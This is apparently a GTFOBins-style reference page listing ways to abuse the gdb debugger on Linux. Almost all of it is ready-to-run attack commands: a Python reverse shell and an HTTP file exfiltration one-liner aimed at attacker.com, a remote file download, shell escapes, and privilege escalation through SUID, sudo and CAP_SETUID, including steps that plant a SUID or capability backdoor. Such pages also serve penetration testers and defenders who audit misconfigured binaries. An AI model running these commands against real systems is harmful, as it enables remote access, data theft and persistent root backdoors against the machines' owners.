Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

gdb -nx -ex '!sh' -ex quit

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

This requires that GDB is compiled with Python support. Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.

export RHOST=attacker.com
export RPORT=12345
gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")' -ex quit

File upload

It can exfiltrate files on the network.

This requires that GDB is compiled with Python support. Send local file via “d” parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.

export URL=http://attacker.com/
export LFILE=file_to_send
gdb -nx -ex 'python import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' -ex quit

This requires that GDB is compiled with Python support. Serve files in the local folder running an HTTP server.

export LPORT=8888
gdb -nx -ex 'python import sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit

File download

It can download remote files.

This requires that GDB is compiled with Python support. Fetch a remote file via HTTP GET request.

export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
gdb -nx -ex 'python import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])' -ex quit

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

This requires that GDB is compiled with Python support.

LFILE=file_to_write
gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

This requires that GDB is compiled with Python support.

gdb -nx -ex 'python print(open("file_to_read").read())' -ex quit

Library load

It loads shared libraries that may be used to run code in the binary execution context.

This requires that GDB is compiled with Python support.

gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

This requires that GDB is compiled with Python support.

sudo install -m =xs $(which gdb) .

./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo gdb -nx -ex '!sh' -ex quit

Capabilities

If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

This requires that GDB is compiled with Python support.

cp $(which gdb) .
sudo setcap cap_setuid+ep gdb

./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit